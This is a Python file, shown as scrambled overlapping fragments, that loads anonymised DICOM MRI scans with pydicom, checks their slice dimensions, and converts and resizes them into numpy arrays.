patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]:", "are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1])", "green button in the gutter to run the script. if __name__ == '__main__':", "used to get the dimensions of all scans Parameters: patients_dcm (list): A list", "A list containing the MRI scans. Each MRI scan is a list of", "that make up the scan Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height] (list):", "{max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height, max_height] # Press the green", "delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets", "(list): A list of the slices consisting the MRI scan \"\"\" # for", "slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This function is used to get the", "been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This function is used", "Returns: np_image (numpy.ndarray): A numpy array representing the MRI scan ''' image =", "list of the slices that make up the scan Returns: None \"\"\" for", "get the dimensions of all scans Parameters: patients_dcm (list): A list containing the", "new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y", "max_height] = get_extreme_dim(patients_dcm) patients = [] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files", "-1, -1 print(\"All images are squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height))", "are squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width,", "lengths = [] widths = [] heights = [] square = True scans_not_square", "desired dimensions Parameters: master_path (str): the path to the directory containing the scans", "[pydicom.read_file(path + '/' + s)] slices = [pydicom.read_file(path + '/' + s) for", "range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data", "return patients_resized def load_scan(path): \"\"\" This function is used to load the MRI", "is used to get the dimensions of all scans Parameters: patients_dcm (list): A", "scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy array with the desired dimensions '''", "''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0]", "make up the scan Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height] (list): These", "print(\"Not all images are squares\") return scans_not_square def get_array(scan): ''' This function converts", "[z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array containing numpy arrays representing MRI scans", "pd import pydicom def load_data(master_path, new_dimensions): ''' This function is used to transform", "DO: method used for interpolation? Parameters: data (numpy.ndarray): a numpy array representing an", "max(widths) min_width = min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width,", "as plt import numpy as np import os import pandas as pd import", "in os.listdir(path): # if s == '.DS_Store/': # print(\"found ds\") # continue #", "slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)] slices.sort(key=lambda x:", "function converts a scan into a numpy array Parameters: scan (list): A list", "get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum and maximum dimensions of all scans", "A list of the slices consisting the MRI scan \"\"\" # for s", "np.stack([s.pixel_array for s in scan]) image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return", "load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png') # See PyCharm help at", "numpy array representing the MRI scan ''' image = np.stack([s.pixel_array for s in", "array representing the MRI scan ''' image = np.stack([s.pixel_array for s in scan])", "slices[1].SliceLocation) for s in slices: s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm): \"\"\"", "files, tool windows, actions, and settings. # importing important librarires import itertools import", "= initial_size_y / new_size_y delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x,", "MRI scan Returns: np_image (numpy.ndarray): A numpy array representing the MRI scan '''", "button in the gutter to run the script. if __name__ == '__main__': my_dir", "range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def", "import pandas as pd import pydicom def load_data(master_path, new_dimensions): ''' This function is", "patients_name: if patient == '.DS_Store': continue path = master_path + patient + '/T2SPIR/DICOM_anon'", "of all scans. \"\"\" lengths = [] widths = [] heights = []", "print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width =", "= [] # contains the samples in dicom format for patient in patients_name:", "dicom format for patient in patients_name: if patient == '.DS_Store': continue path =", "in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\") patients_resized = [] for", "MRI scan \"\"\" # for s in os.listdir(path): # if s == '.DS_Store/':", "the scan Returns: None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm):", "= data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x =", "scans Paramters: patients_dcm (list): A list containing the MRI scans. Each MRI scan", "__name__ == '__main__': my_dir = os.getcwd() pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10,", "(list): These lists contain the minimum and maximum dimensions of all scans. \"\"\"", "all patients new_dimensions (list): a list containing the dimensions of the new scan", "= not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients = []", "all scans Paramters: patients_dcm (list): A list containing the MRI scans. Each MRI", "np import os import pandas as pd import pydicom def load_data(master_path, new_dimensions): '''", "gets the minimum and maximum dimensions of all scans Paramters: patients_dcm (list): A", "(list): A list containing the indices of scans that contain non-square slices \"\"\"", "scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0: square = False # for i", "patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\"", "squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width],", "# we compare only the first slice because all of them in one", "for s in scan]) image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image", "continue path = master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square", "list containing the MRI scans. Each MRI scan is a list of the", "get_dimensions(patients_dcm): \"\"\" This function is used to get the dimensions of all scans", "print(\"Not all images are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square", "arrays with the desired dimensions Parameters: master_path (str): the path to the directory", "range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells us if all the", "= initial_size_x / new_size_x delta_y = initial_size_y / new_size_y delta_z = initial_size_z /", "= [] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to", "scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array containing numpy arrays representing MRI", "print(\"All images are squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length,", "True scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0: square = False # for", "= data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\"", "Press ⌃R to execute it or replace it with your code. # Press", "i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths)", "np_image (numpy.ndarray): A numpy array representing the MRI scan ''' image = np.stack([s.pixel_array", "classes, files, tool windows, actions, and settings. # importing important librarires import itertools", "numpy arrays with the desired dimensions Parameters: master_path (str): the path to the", "containing the dimensions of the new scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy", "are squares. Parameters: patients_dcm (list): A list containing the MRI scans. Each MRI", "converted to numpy array\") patients_resized = [] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions))", "A list containing the indices of scans that contain non-square slices \"\"\" scans_not_square", "pydicom def load_data(master_path, new_dimensions): ''' This function is used to transform dicom images", "the first slice because all of them in one scan have the same", "dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\") return scans_not_square", "max_height = max(heights) min_height = min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length))", "initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y", "= np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for", "the scans of all patients new_dimensions (list): a list containing the dimensions of", "len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells us if all the slices that", "[min_width, max_width], [min_height, max_height] (list): These lists contain the minimum and maximum dimensions", "patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not all images are squares\") for i", "= new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x", "your code. # Press Double ⇧ to search everywhere for classes, files, tool", "directory containing the scans of all patients new_dimensions (list): a list containing the", "(list): A list containing the MRI scans. Each MRI scan is a list", "that make up an MRI scan Returns: np_image (numpy.ndarray): A numpy array representing", "i in range(len(patients_dcm)): # we compare only the first slice because all of", "them in one scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i)", "print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height] =", "delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum and maximum", "a sample Python script. # Press ⌃R to execute it or replace it", "delta_y = initial_size_y / new_size_y delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z,", "delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y,", "def not_square(patients_dcm): \"\"\" This function tells us if all the slices that make", "importing important librarires import itertools import matplotlib.pyplot as plt import numpy as np", "for i in range(len(patients_dcm)): # we compare only the first slice because all", "representing an MRI scan new_dimensions (list): a list containing the dimensions of the", "False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths) max_height = max(heights) min_height =", "Press the green button in the gutter to run the script. if __name__", "in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)]", "np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] =", "compare only the first slice because all of them in one scan have", "print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1, -1", "delta_x = initial_size_x / new_size_x delta_y = initial_size_y / new_size_y delta_z = initial_size_z", "minimum and maximum dimensions of all scans Paramters: patients_dcm (list): A list containing", "* delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum and", "plt import numpy as np import os import pandas as pd import pydicom", "the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0]", "i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False #", "make up a scan are squares. Parameters: patients_dcm (list): A list containing the", "search everywhere for classes, files, tool windows, actions, and settings. # importing important", "patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height]", "data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This", "files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm)", "[min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients = [] for patient in patients_dcm:", "os.listdir(master_path) patients_dcm = [] # contains the samples in dicom format for patient", "a list of the slices that make up the scan Returns: None \"\"\"", "containing the dimensions of the new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy", "min_w=min_width)) else: min_width, max_width = -1, -1 print(\"All images are squares\\n\") print(\"Min height:", "max_width = max(widths) min_width = min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width))", "in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length", "slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation)", "a numpy array containing numpy arrays representing MRI scans of individual patients '''", "patients_resized (numpy.ndarray): a numpy array containing numpy arrays representing MRI scans of individual", "is a list of the slices that make up the scan Returns: None", "the dimensions of the new scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy array", "patients_dcm = [] # contains the samples in dicom format for patient in", "scans of all patients new_dimensions (list): a list containing the dimensions of the", "the MRI scans. Parameters: path (str): The path to the folder containing the", "images are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False:", "= os.listdir(master_path) patients_dcm = [] # contains the samples in dicom format for", "my_dir = os.getcwd() pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png')", "images are squares\") return scans_not_square def get_array(scan): ''' This function converts a scan", "new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y =", "of all scans Paramters: patients_dcm (list): A list containing the MRI scans. Each", "list of the slices that make up the scan Returns: scans_not_square (list): A", "np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s", "make up the scan Returns: scans_not_square (list): A list containing the indices of", "length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width = max(widths) min_width = min(widths)", "desired dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z", "the slices that make up a scan are squares. Parameters: patients_dcm (list): A", "'__main__': my_dir = os.getcwd() pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :])", "\"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells", "def get_array(scan): ''' This function converts a scan into a numpy array Parameters:", "MRI scan new_dimensions (list): a list containing the dimensions of the new scan", "\"\"\" This function gets the minimum and maximum dimensions of all scans Paramters:", "i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells us if", "max_width], [min_height, max_height] (list): These lists contain the minimum and maximum dimensions of", "path to the folder containing the MRI scans of THE patient Returns: slices", "with the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z =", "scans. Parameters: path (str): The path to the folder containing the MRI scans", "Parameters: path (str): The path to the folder containing the MRI scans of", "scans_not_square = [] for i in range(len(patients_dcm)): # we compare only the first", "<gh_stars>0 # This is a sample Python script. # Press ⌃R to execute", "'/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height,", "\\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height, max_height] # Press", "patient == '.DS_Store': continue path = master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom", "master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length,", "all the slices that make up a scan are squares. Parameters: patients_dcm (list):", "only the first slice because all of them in one scan have the", "lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths)", "{min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1, -1 print(\"All images", "the slices that make up the scan Returns: scans_not_square (list): A list containing", "print(\"Dicom files converted to numpy array\") patients_resized = [] for patient in patients:", "representing MRI scans of individual patients ''' master_path = master_path + '/MR/' patients_name", "s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This function is used to", "slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness", "array Parameters: scan (list): A list containing the slices that make up an", "slices consisting the MRI scan \"\"\" # for s in os.listdir(path): # if", "def resize_data(data, new_dimensions): ''' This function resizes a numpy array. TO DO: method", "heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths) max_height", "dimensions of all scans Paramters: patients_dcm (list): A list containing the MRI scans.", "scans of individual patients ''' master_path = master_path + '/MR/' patients_name = os.listdir(master_path)", "function gets the minimum and maximum dimensions of all scans Paramters: patients_dcm (list):", "s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except", "False # print(\"Not all images are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i]))", "⇧ to search everywhere for classes, files, tool windows, actions, and settings. #", "s in os.listdir(path): # if s == '.DS_Store/': # print(\"found ds\") # continue", "initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x", "the desired dimensions Parameters: master_path (str): the path to the directory containing the", "min(lengths) max_height = max(heights) min_height = min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length,", "into numpy arrays with the desired dimensions Parameters: master_path (str): the path to", "for s in slices: s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This", "the samples in dicom format for patient in patients_name: if patient == '.DS_Store':", "slices that make up the scan Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height]", "it or replace it with your code. # Press Double ⇧ to search", "initial_size_y / new_size_y delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y))", "of all scans Parameters: patients_dcm (list): A list containing the MRI scans. Each", "scans_not_square.append(i) print(\"Not all images are squares\") return scans_not_square def get_array(scan): ''' This function", "new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y),", "list containing the dimensions of the new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a", "MRI scans. Each MRI scan is a list of the slices that make", "a list of the slices that make up the scan Returns: scans_not_square (list):", "scan are squares. Parameters: patients_dcm (list): A list containing the MRI scans. Each", "tells us if all the slices that make up a scan are squares.", "is used to transform dicom images into numpy arrays with the desired dimensions", "= new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y = initial_size_y", "0: square = False # for i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] !=", "s) for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] -", "widths = [] heights = [] square = True scans_not_square = not_square(patients_dcm) if", "x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness =", "patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path):", "float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation", "patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width,", "if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not all images are", "new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)):", "np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions): ''' This function resizes a numpy", "the slices that make up the scan Returns: [min_length, max_length], [min_width, max_width], [min_height,", "len(scans_not_square) != 0: square = False # for i in range(len(patients_dcm)): # if", "This function tells us if all the slices that make up a scan", "a scan are squares. Parameters: patients_dcm (list): A list containing the MRI scans.", "lists contain the minimum and maximum dimensions of all scans. \"\"\" lengths =", "''' image = np.stack([s.pixel_array for s in scan]) image = image.astype(np.int16) np_image =", "not_square(patients_dcm) if len(scans_not_square) != 0: square = False # for i in range(len(patients_dcm)):", "patients new_dimensions (list): a list containing the dimensions of the new scan [z,x,y]", "(list): a list containing the dimensions of the new scan [z,x,y] Returns: patients_resized", "scan]) image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions):", "= np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y]", "max_height] # Press the green button in the gutter to run the script.", "a numpy array Parameters: scan (list): A list containing the slices that make", "folder containing the MRI scans of THE patient Returns: slices (list): A list", "!= patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\") return scans_not_square def get_array(scan): '''", "for interpolation? Parameters: data (numpy.ndarray): a numpy array representing an MRI scan new_dimensions", "Returns: new_data (numpy.ndarray): a numpy array with the desired dimensions ''' initial_size_x =", "if square == False: max_width = max(widths) min_width = min(widths) print(\"Min width: {min_w}", "for i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False", "[min_height, max_height] (list): These lists contain the minimum and maximum dimensions of all", "max(heights) min_height = min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square", "Returns: scans_not_square (list): A list containing the indices of scans that contain non-square", "in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not", "to numpy array\") patients_resized = [] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans", "we compare only the first slice because all of them in one scan", "resizes a numpy array. TO DO: method used for interpolation? Parameters: data (numpy.ndarray):", "\\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width = max(widths) min_width =", "tool windows, actions, and settings. # importing important librarires import itertools import matplotlib.pyplot", "# continue # else: # slices = [pydicom.read_file(path + '/' + s)] slices", "numpy array with the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2]", "master_path (str): the path to the directory containing the scans of all patients", "= new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y = initial_size_y / new_size_y delta_z", "initial_size_x / new_size_x delta_y = initial_size_y / new_size_y delta_z = initial_size_z / new_size_z", "samples in dicom format for patient in patients_name: if patient == '.DS_Store': continue", "with your code. # Press Double ⇧ to search everywhere for classes, files,", "- slices[1].SliceLocation) for s in slices: s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm):", "The path to the folder containing the MRI scans of THE patient Returns:", "(list): A list containing the slices that make up an MRI scan Returns:", "== '__main__': my_dir = os.getcwd() pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :,", "for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells us", "a numpy array. TO DO: method used for interpolation? Parameters: data (numpy.ndarray): a", "squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length", "= master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm)", "widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths) max_height = max(heights) min_height = min(heights)", "with the desired dimensions Parameters: master_path (str): the path to the directory containing", "patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\") patients_resized = [] for patient", "used to transform dicom images into numpy arrays with the desired dimensions Parameters:", "scans. Each MRI scan is a list of the slices that make up", "max_width = -1, -1 print(\"All images are squares\\n\") print(\"Min height: {min_h} \\nMax height:", "in the gutter to run the script. if __name__ == '__main__': my_dir =", "else: # slices = [pydicom.read_file(path + '/' + s)] slices = [pydicom.read_file(path +", "s in scan]) image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image def", "dimensions of all scans Parameters: patients_dcm (list): A list containing the MRI scans.", "image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions): '''", "patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\") patients_resized = []", "slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices: s.SliceThickness = slice_thickness return", "= [] for i in range(len(patients_dcm)): # we compare only the first slice", "/ new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x),", "format for patient in patients_name: if patient == '.DS_Store': continue path = master_path", "z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y *", "import numpy as np import os import pandas as pd import pydicom def", "have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This function is", "in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception:", "code. # Press Double ⇧ to search everywhere for classes, files, tool windows,", "- slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in", "(numpy.ndarray): a numpy array representing an MRI scan new_dimensions (list): a list containing", "of the slices consisting the MRI scan \"\"\" # for s in os.listdir(path):", "settings. # importing important librarires import itertools import matplotlib.pyplot as plt import numpy", "patients_name = os.listdir(master_path) patients_dcm = [] # contains the samples in dicom format", "for s in os.listdir(path): # if s == '.DS_Store/': # print(\"found ds\") #", "dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z =", "for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x", "new_dimensions): ''' This function resizes a numpy array. TO DO: method used for", "us if all the slices that make up a scan are squares. Parameters:", "scan \"\"\" # for s in os.listdir(path): # if s == '.DS_Store/': #", "matplotlib.pyplot as plt import numpy as np import os import pandas as pd", "'/MR/' patients_name = os.listdir(master_path) patients_dcm = [] # contains the samples in dicom", "and maximum dimensions of all scans Paramters: patients_dcm (list): A list containing the", "list containing the indices of scans that contain non-square slices \"\"\" scans_not_square =", "to the directory containing the scans of all patients new_dimensions (list): a list", "\"\"\" scans_not_square = [] for i in range(len(patients_dcm)): # we compare only the", "up the scan Returns: None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def", "''' master_path = master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm = [] #", "[] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\") patients_resized", "script. # Press ⌃R to execute it or replace it with your code.", "to load the MRI scans. Parameters: path (str): The path to the folder", "resize_data(data, new_dimensions): ''' This function resizes a numpy array. TO DO: method used", "in slices: s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This function is", "for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length =", "a list containing the dimensions of the new scan [z,x,y] Returns: new_data (numpy.ndarray):", "itertools import matplotlib.pyplot as plt import numpy as np import os import pandas", "transform dicom images into numpy arrays with the desired dimensions Parameters: master_path (str):", "the scan Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height] (list): These lists contain", "+ '/' + s) for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness", "non-square slices \"\"\" scans_not_square = [] for i in range(len(patients_dcm)): # we compare", "windows, actions, and settings. # importing important librarires import itertools import matplotlib.pyplot as", "the new scan 